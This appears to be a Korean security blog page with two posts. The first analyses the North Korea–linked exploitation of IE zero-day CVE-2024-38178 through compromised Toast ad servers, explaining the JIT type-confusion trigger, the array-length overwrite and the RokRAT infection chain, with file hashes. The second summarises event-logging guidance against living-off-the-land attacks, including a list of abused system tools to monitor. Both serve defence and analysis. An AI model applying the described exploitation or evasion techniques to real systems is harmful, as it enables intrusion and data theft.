- 24.05 무료 S/W의 팝업(Toast) 광고 프로그램을 악용한 TA- RedAnt의 대규모 공격이 탐지 [1]
- IE의 자바스크립트 엔진(jscript9.dll)에 존재하는 제로데이 취약점 악용
- 22년 악용한 IE의 Type Confusion 취약점(CVE-2022-41128)에 간단한 코드를 추가하여 보안 패치를 우회

 

1.1 Chakra

- MS에서 제작한 웹 브라우저의 자바스크립트 엔진
> 웹 브라우저는 HTML, CSS, JavaScript 등의 언어로 작성코드를 사람이 읽을 수 있는 문서로 출력하는 프로그램
> 웹 브라우저에서 자바스크립트 코드를 해석하고 실행하는 역할을 수행

구분 이름
IE 11.0 이하 버전 legacy Chakra engine(jscript9.dll)
Edge Legacy 브라우저 new Chakra engine or Edge engine(Chakra.dll)

1.1.1 동작 과정

- 웹 브라우저에서는 JavaScript의 동작을 위해 자체 엔진을 포함하고 있으며, 빠른 실행을 위해 JIT(Just-In-Time) Compilation 방식을 사용
- MS Chakra에서 JavaScript로 작성된 코드가 실행되는 과정

구분 설명
Parsing 소스코드를 파싱하여 Abstract Syntax Tree(AST)를 생성
※ Abstract Syntax Tree(AST) : 소스코드의 구조를 트리 형태로 나타낸 자료구조
Interpreting - AST는 바이트코드(Bytecode)로 변환되어 인터프리터에 의해 실행
- 실행 중인 함수의 데이터 유형 및 호출 횟수와 같은 정보를 분석해 함수의 프로파일을 생성
Compilation - 생성된 프로파일을 바탕으로 최적화된 기계코드인 JIT’ed code 생성
※ 인터프리터에서 여러 번 호출되는 코드가 탐지되면 바이트코드를 실행하는 대신 JIT’ed code를 실행해 프로그램 동작 속도를 향상 시킴

 

- JavaScript엔진에서는 여러 번 호출되는 코드를 따로 관리

구분 설명
Hot - 자주 반복되는 코드
- 코드가 Hot으로 탐지되면 엔진은 해당 코드를 스텁코드(Stub Code)로 변환
- 이후 바이트코드를 실행하지 않고 미리 생성한 스텁코드를 사용하여 실행 속도를 향상
Warm 덜 자주 반복되는 코드

 

1.2 Toast 광고

- 다양한 무료 S/W와 함께 설치되어 동작
> 실행 시 광고서버로부터 광고 컨텐츠를 다운받아 PC 화면 우측 하단에 광고창 표시
> 서버는 광고 컨텐츠가 포함된 HTML과 JavaScript로 응답
> Toast 광고 프로그램은 응답값을 IE 브라우저 또는 IE 관련 모듈로 랜더링하여 팝업 광고창을 띄움

2. 주요내용

2.1 CVE-2024-38178

[사진 1] CVE-2024-38178 [2]

- Windows Scripting Engine에서 발생하는 Type Confusion 취약점으로 메모리 손상을 유발해 원격 명령 실행을 가능하게 함
> jscript9.dll에서 발생하는 Type Confusion 취약점

※ Type Confusion 취약점 : 프로그램에서 사용하는 변수나 객체를 선언 혹은 초기화되었을 때와 다른 타입으로 사용할 때 발생하는 취약점

스텁코드는 Type Confusion 문제가 발생할 수 있음
- 매개변수로 정수형 변수를 입력받는 함수가 있으며, 메인에서 100번 호출된다고 가정
> 엔진에서는 Hot으로 간주하여 정수형 변수를 전달받는 스텁코드로 변환
> 그 결과, 해당 변수의 데이터 유형을 정수로 예측
> 이 때, 매개변수를 정수가 아닌 다른 데이터 유형으로 전달할 경우 Type Confusion 발생

 

2.2 상세분석

[사진 2] iframe이 삽입된 HTML

- 해커는 국내 광고 대행사 중 한 업체의 광고 서버를 해킹
Toast 광고 프로그램에 전달되는 HTML 코드에 iframe을 삽입하여 경유지를 통해 JavaScript가 로드 되도록 변조
> 해당 JavaScript 파일명은 ad_toast이며 IE(JScript9.dll)의 RCE 취약점이 발현되는 코드가 삽입
> 피해자 PC에 설치된 Toast 광고 프로그램은 취약점 코드를 받아 랜더링하는 과정에서 Exploit 및 해커의 쉘 코드로 실행 흐름이 바뀜

 

[사진 3] CVE-2024-38178 Exploit

- 해커는 과거 악용했던 CVE-2022-41128(Windows 스크립트 언어 RCE [4]) Exploit 코드에 단 3줄을 추가해 기존 패치 우회

ex_func(false, false)를 반복 호출하여 JIT 컴파일러의 최적화 오류를 유도한 뒤 인자를 true로 바꿔 호출

 

- "q=g" 연산으로 Type Confusion 발생 

> 정수 배열로 초기화된 변수 q에 변수 g가 가리키는 데이터를 참조하면 변수 q의 Type이 Object로 변경
> 하지만, JIT 컴파일러의 최적화 오류로 인해 Type을 계속해서 정수 배열로 판단

 

이후 q[4], q[11], q[12]의 값을 0x1FFFFFFF로 변경

> 변경하는 이유는 해당 값이 배열 av의 Type(Js::JavascriptNativeIntArray)과 관련
> 변경한 값은 순서대로 배열 av의 Array Length, Array Actual Length, Buffer Length 항목
> 배열의 길이를 조작하면 Object Dataview를 사용하여 임의의 메모리 영역에 대한 읽기 및 쓰기가 가능하게 되어 임의 코드를 실행할 수 있음

※ JIT 컴파일러의 배열 최적화 과정에서 초기화된 변수로 착각하게 만드는 방법을 이용해 CVE-2022-41128의 패치를 우회

 

[사진 4] 패치

- 해당 취약점은 MS 8월 보안업데이트에서 패치 [4]

> wil::details::FeatureImpl<_ _WilFeatureTraits_Feature_1489045819>::_ _private_ IsEnabled(&`wil::Feature<_ _WilFeatureTraits_Feature_1489045819>::GetImpl’::`2 ’::impl); 함수가 추가
> 해당 함수의 결과 값에 따라 변수 초기화 여부를 검증하는 분기로 진입
> 진입 후 ValueType 클래스에서 정의된 연산자를 통해 두 개의 정수형 값 비교 과정 추가
> 두 Type을 비교해 값이 다를 경우 SetValueType 함수를 호출하여 Type을 일치시키는 추가적인 과정이 수행

 

2.3 악성코드 유포

- 과거부터 꾸준히 사용해온 RokRAT 악성코드를 유포하며 공격 흐름은 아래와 같음
> Ruby를 사용하여 악성 행위 지속성 확보 및 상용 클라우드 서버를 통해 명령제어를 수행

실행 단계 설명
1차 악성코드(43) 다운로드 및
explorer.exe에 인젝션
실행 PC의 파일·프로세스를 확인하여 분석 환경인지 탐지
> 악성코드 43은 첫 1바이트로 XOR 후 실행되는 쉘코드
> 분석 환경이 아니라고 판단되면 경유지에 접속해 2차 악성코드 다운 및 실행
2차 악성코드(23) 다운로드 및 실행 컴퓨터 이름 등 시스템 정보를 수집하고 추가 감염 여부 선별
> 악성코드 23은 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 시스템 정보를 경유지로 전송하고, 응답에 따라 3차 악성코드 다운 및 실행
3차 악성코드(move) 다운로드 및 실행 후
추가 파일 다운로드
악성 스크립트를 삽입한 ruby standalone 드롭 및 악성 행위 지속성 확보
> 악성코드 move는 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 2차 경유지는 원드라이브 1개와 국내 정상 사이트 2개가 악성코드 내부에 하드코딩
> 지속성 확보를 위해 자동실행 되도록 설정 (주기적 실행 또는 PC 부팅 시 실행)
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 현재 실행중인 프로세스 명에 "UBY"가 있는지 확인 후 설치된 백신에 따라 동작 결정
> AVAST·SYMANTEC : 현재 프로세스에서 In-Memory 방식으로 실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 프로세스의 자체 종료를 막기 위해 ExitProcess 함수를 후킹 및 함수 인자 및 설치된 백신에 따라 동작 결정
> 인자가 0xAC가 아닐 경우 대기 상태, 0xAC일 경우 후킹을 복원
> AVAST·SYMANTEC : rubyw. exe를 재실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
In-Memory로 RokRAT 실행 상용 클라우드(얀덱스 등)를 경유지로 명령제어를 수행하여 PC 정보 절취
> 윈도우 프로시저에서 수신되는 메시지를 기반으로 해당 핸들러에서 악성 행위를 수행

 

구분 MD5
ad_toast e11bb2478930d0b5f6c473464f2a2B6e
43 b9d4702c1b72659f486259520f48b483
23 b18a8ea838b6760f4857843cafe5717d
MOVE da2a5353400bd5f47178cd7dae7879c5
ban04.bak(top_08.bak,content) bd2d599ab51f9068d8c8eccadaca103d
operating_system.rb 감염 PC마다 다름
1차 로더
2차 로더
RokRAT

 

2.4 결론

- MS는 22.06 IE 지원 종료 발표 및 최신 Window OS는 IE가 웹 브라우저로 사용되는 것을 제한하는 등의 조치
> 과거에 비해 워터링홀 공격의 가능성은 희박해짐
> 그러나, 일부 Window 어플리케이션들은 IE를 내장하거나 관련 모듈을 사용해 공격 벡터로 악용될 수 있음
> OS 및 SW 등의 보안 업데이트를 준수하고, 제조사들은 제품 개발 시 보안에 취약한 개발 라이브러리 및 모듈 등이 사용되지 않도록 주의 필요

3. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=164037&menuNo=020000&subMenuNo=020200&thirdMenuNo=
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-38178
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=ms&menuNo=205020&pageIndex=1&categoryCode=&nttId=71524
[4] https://nvd.nist.gov/vuln/detail/CVE-2022-41128
[5] https://www.scworld.com/brief/windows-zero-day-leveraged-for-rokrat-malware-delivery
[6] https://thehackernews.com/2024/10/north-korean-scarcruft-exploits-windows.html
[7] https://thehackernews.com/2024/08/microsoft-issues-patches-for-90-flaws.html
[8] https://www.scworld.com/news/microsoft-patches-9-zero-days-6-exploited-in-the-wild
[9] https://www.boannews.com/media/view.asp?idx=132049
[10] https://www.dailysecu.com/news/articleView.html?idxno=160314
[11] https://www.boannews.com/media/view.asp?idx=133660

1. 개요

- 세계 여러 정보 보안 관련 기관이 협력하여 LotL 공격 대비 가이드라인 발표 [1]
- 장시간 공격을 유지할 수 있게 해 주는 LotL 공격이 공격자들 사이에서 인기
- ‘이벤트 로그 관리’를 방어책으로 내세움

 

2. 주요내용

2.1 LotL (Living off the Land)

이미 사용자 시스템에 설치된 여러 자원을 공격에 활용하는 방법
- 정상적으로 발생하는 트래픽과 공격으로 발생한 트래픽의 구분이 힘들며, 공격 지속성을 크게 높일 수 있는 장점

 

2.2 이벤트 로깅 (Event logging)

- 이벤트 로깅은 네트워크 가시성을 지원해 운영과 시스템의 보안 및 복원력을 개선

구분 개요
효과적인 이벤트 로깅 솔루션 ① 중요한 소프트웨어 구성 변경 또는 설치시 담당자에게 경고 잔송
② LotL 공격 또는 침해 후 횡적 이동 등의 보안 사고를 나타낼 수 있는 보안 이벤트 식별
③ 침해의 범위와 정도를 밝혀 사고 대응 지원
④ 정책이 잘 적용되도록 하며, 위반 여부 모니터링
⑤ 오탐과 노이즈를 줄여 저장 공간과 요청 시간 관련 비용을 절감
⑥ 보안 담당자들이 정보를 바탕으로 결정을 내릴 수 있게 지원
⑦ 보안 분석가들에게 유용한 로그와 플랫폼을 제공
핵심 고려 요소 ① 기업에서 승인된 이벤트 로그 정책
② 중앙 집중식 이벤트 로그 접근 및 상관 분석
③ 저장된 데이터의 보안 및 이벤트 로그 무결성
④ 관련 위협에 대한 탐지 전략
로그 정책 ① 어떤 이벤트를 로깅할 것인지 정의
② 어떤 시스템에 이벤트 로깅을 적용할 것인지 정의
③ 이벤트 로그를 모니터링하는 방법 정의
④ 이벤트 로그를 얼마나 보관할 것인지 정의
⑤ 로그 수집 관련 정책의 재평가 시기 정의

 

2.3 로그의 품질

- 사고 대응 및 위협 탐지의 맥락에서 이벤트 로그의 품질은 얼마나 잘 포맷 되었는지가 아닌, 수집된 이벤트 유형에 의해 결정

- 유용한 이벤트 로그는 보안 이벤트를 평가하여 정오탐을 식별하는 능력을 강화

> OT 장치를 포함하는 경우 해당 장치에 대한 고려가 필요

> OT 장치는 메모리와 프로세스에 부하를 주는 임베디드 소프트웨어를 사용하며, 과도한 로깅은 장치의 운영에 악영향을 미칠 수 있음

> OT 장치는 자세한 로그를 생성할 수 없으므로 센서를 사용하여 로그 기능을 보완할 수 있음

> 대역 외 로그 통신 또는 오류 코드와 기존 통신의 페이로드를 기반으로 로그를 기록

 

- LotL을 사용하는 공격자들은 주로 다음과 같은 로그를 수집해 파악할 수 있음

구분 설명
Linux 기반 - curl, systemctl, systemd, python 등을 사용했을 때 기록되는 로그
- 기타 일반적인 LOLBin의 사용와 관련된 로그
Windows 기반 - wmic.exe, ntdsutil.exe, Netsh, cmd.exe, PowerShell, mshta.exe, rundll32.exe, resvr32.exe 등을 사용했을 때 기록되는 로그
- 명령 실행, 스크립트 차단, PowerSehll용 모듈 로그, 관리 작업에 대한 로그
Cloud 환경 - API 호출 및 최종 사용자 로그인을 포함한 모든 컨트롤 플레인 작업을 기록
- 컨트롤 플레인 로그는 읽기 및 쓰기 활동, 관리 변경 사항 및 인증 이벤트를 기록하도록 구성

 

- 이벤트 로그는 대응을 돕기에 충분한 세부 정보가 포함되어 있는 것이 좋음

미국 관리예산국
M-21-312의
로그에 포함되어야
하는 내용
① 올바르게 포맷되고 정확한 타임스탬프 (밀리초 단위가 이상적)
② 이벤트 유형
③ 장치 식별자의 MAC 주소 또는 기타 고유 식별자
④ 세션/트랜잭션 ID
⑤ 자율 시스템 번호
⑥ 출처 및 도착지 IP (IPv4 및 IPv6 포함)
상태 코드
⑧ 응답 시간
⑨ 추가 헤더 (Ex. HTTP 헤더)
⑩ 사용자 ID (해당되는 경우)
⑪ 실행된 명령 (해당되는 경우)
⑫ 이벤트 상관 관계를 돕기 위한 고유 이벤트 식별자 (가능한 경우)
※ 모든 데이터는 추출을 더 쉽게 하기 위해 "키-값 쌍" 형식으로 포맷 (가능한 경우)

 

- 로그의 품질을 높이는 요소들

구분 설명
콘텐츠 및 형식 일관성 - 로그를 중앙 집중화할 때 JSON과 같은 구조화된 로그 형식을 사용
- 형식, 순서, 스키마를 일관되게 유지
- 로그가 생성될 때부터 일관된 형식을 유지하는 것이 좋음
- 그러나, 모든 로그가 정해진 형식을 따를 수 있는 것은 아니므로 자동화된 로그 정규화 방법론을 마련할 필요
타임스탬프 일관성 - 모든 시스템에서 동일한 날짜-시간 형식과 표기법을 사용
- ISO 8601 형식은 연도-월-일-시-분-초-밀리초 순서 권고
로그 보존 - 시스템에 대한 위험 평가 결과에 따라 로그 보관 기간 결정하며, 침입과 영향을 평가하는 로그는 좀 더 오래 보존
- 조직에 적용되는 모든 규제에 어긋나지 않도록 보존
- 조직이 보유하고 있는 저장 공간도 고려
- 공격자들이 로그를 삭제할 수 있으므로, 로그에 대한 접근 또한 강화
※ 어떤 경우 사고를 발견하는 데 최대 18개월이 걸리고, 어떤 악성코드의 경우 70~200일 동안 네트워크에 거주하는 것을 고려

 

2.4 로깅 우선순위

- 조직 내에서 로그 소스를 우선순위를 둘 것우선순위가 낮은 로그도 모니터링할 것을 권장

구분 설명
로깅 우선순위 - LotL 맥락에서 기업의 망은 공격자들이 사용하기 좋은 도구들이 많음
> 해당 도구들과 관련하여 로그의 우선순위를 정하는 것이 효과적

 공격 대상이 될 가능성이 높은 중요 시스템과 데이터
② 원격 접근, 네트워크 메타데이터, 기본 서버 OS, 인터넷 연결 서비스
③ ID 및 도메인 관리 서버
④ 기타 중요 서버
⑤ 네트워크 외곽에 있는 라우터와 방화벽 등
⑥ 관리자의 관리 작업을 위한 워크스테이션
⑦ 환경 설정, 시스템 모니터링, CI/CD, 취약점 스캔, 비밀 관리, 권한 관리에 사용되는 시스템
⑧ 데이터 저장소
⑨ 보안 소프트웨어
⑩ 사용자 컴퓨터
⑪ 사용자 애플리케이션
⑫ 웹 프록시
⑬ DNS 서비스
⑭ 이메일 서버
⑮ DHCP 서버
⑯ 오래된 레거시 IT 자산
⑰ 하이퍼바이저 호스트
⑱ 프린터 등 부수적인 IT 장치
⑲ 애플리케이션 게이트웨이 등 네트워크 구성 요소
OT 환경
로깅 우선순위
- 최근 OT 네트워크에 대한 공격이 증가

① 안전 및 서비스 제공에 중요한 OT 장치 (Air-Gap 시스템 제외)
② 공공 인터넷과 연결된 OT 장치
③ 네트워크 외곽선을 통과했을 때 접근이 가능해지는 OT 장치
④ 로깅 기능이 없는 OT 장치 (OT 장치의 네트워크 트래픽 모니터링 필요)
엔드포인트
로깅 우선순위
- 팬데믹 등으로 재택 근무의 증가

사용자가 사용하는 웹 프록시
② 회사/기관에서 운영 혹은 사용하는 DNS 서비스
③ 조직에 공식 등록된 장치들의 보안 상황
④ 조직에 공식 등록된 장치들의 행동 패턴
⑤ 사용자 계정에서 발생하는 활동
⑥ VPN 솔루션
⑦ MDM 및 모바일 애플리케이션 관리(MAM)
클라우드 컴퓨팅
로깅 우선순위
- IaaS, PaaS, SaaS 등 플랫폼과 유형에 따라 이벤트 로깅 방식을 조정
> Ex. IaaS : 테넌트에 로깅 책임을 부여 / SaaS : 서비스 제공 업체에 로깅 책임 부여
> 기업(사용자)과 제공자(CSP) 간 긴밀한 협조 필요

표적이 될 가능성이 높은 중요 시스템과 데이터
② 공공 인터넷에 직접 연결된 서비스
③ 클라우드 서비스에 직접 접근하고 관리하는 테넌트의 계정
④ 환경 설정
⑤ 모든 보안 관련 계정 (생성, 삭제, 수정 등)
⑥ 서드파티 인증 서비스를 활용할 때(성공/실패 로그)
⑦ 클라우드 서비스에서 생성된 로그, 클라우드 API 로그, 네트워크 이벤트 등

 

2.5 이벤트 로그의 안전한 저장 및 무결성

- 중앙 집중식 이벤트 로깅 시스템을 구축한 후 SIEM, XDR과 같은 분석 도구로 로그를 전달할 것을 권장

> 충분한 저장 용량을 갖출 것 (침해가 발생하였으나, 과거 이벤트 로그가 없으면 사고 대응에 부정적 영향을 미침)

> 별도의 네트워크 또는 세분화된 네트워크에 보관하며, 로그 변조의 위험을 줄이기 위한 추가 보안 제어 기능이 필요

 

- 이벤트 로그의 안전한 전송 및 무결성을 보장하기 위해 TLS 1.3 및 암호화 검증 등의 보안 메커니즘 구현 권장

> 공격자들은 로그를 수정하거나 삭제하며, 로그에서 유용하면서 민감한 데이터를 확인할 수도 있음

> 적정한 요건을 갖춘 사용자만이 이벤트 로그에 접근할 수 있는 권한을 부여

 

2.6 LotL 탐지

- 아주 조금의 이상 행동이라도 탐지 및 기록해야 함

구분 설명
이상 (비정상적) 행동 비정상적인 시간대에 발생한 사용자 로그인 (근무 외 시간, 공휴일 등)
② 사용자가 일반적으로 접근하지 않는 서비스에 접근 혹은 접근 시도
③ 비정상적인 장치를 활용한 로그인 및 로그인 시도
④ 비정상적으로 빈번한 로그인 시도
⑤ 물리적으로 불가능한 로그인 시도 (불가능한 이동(Impossible Travel) 등)
⑥ 대량의 데이터 다운로드 및 외부 유출
⑦ 정상 인증 단계를 거치지 않은 로그인
⑧ 다양한 사용자 ID로 접근하는 단일 IP 주소
⑨ 사용자 계정 생성 / 비활성화 된 계정의 재활성화(특히 관리자 계정)
⑩ 일반적으로 통신 트래픽이 없는 장치에서 트래픽이 발생
⑪ 비정상적인 스크립트 실행
⑫ 갑작스러운 로그 삭제
⑬ 비정상적인 프로세스 생성 및 실행
⑭ 보안 소프트웨어 및 로깅 소프트웨어의 환경 설정 변경
추가 분석 ① 프로세스 생성 이벤트 / 명령줄 감사 등 상세 로깅 활성화 상태로 유지
> 로그 가시성 향상 가능
② 조직 내에서 사용할 수 있는 정상 바이너리의 기준 생성
> 비정상 바이너리가 자연스럽게 결정
③ 진화하는 위협에 따라 다양한 운영 체제에 대한 탐지 규칙 생성
Windows : powershell.exe, cmd.exe, regedit.exe 등에 대한 상세 탐지 규칙
Linux : curl, systemctl, python 등에 유의
OT 환경 ① 비정상적인 혹은 예상하기 힘든 도구의 활용
② 벤더나 서드파티의 갑작스러운 접근
③ 유지보수나 원격 모니터링을 위한 도구의 비정상적인 사용
④ 운영 체제, 소프트웨어, 펌웨어, 환경, 데이터베이스 등의 무단 변경 및 무단 업데이트
⑤ 제어 시스템과 외부 네트워크 간의 비정상적인 통신
⑥ 평소에 통신 활동이 없던 구성 요소 간에 발생하는 통신
⑦ 비정상적인 스크립트 실행

3. 참고

[1] https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3880942/nsa-joins-allies-in-releasing-best-practices-for-event-logging/
[2] https://www.boannews.com/media/view.asp?idx=132371&page=1&kind=1

+ Recent posts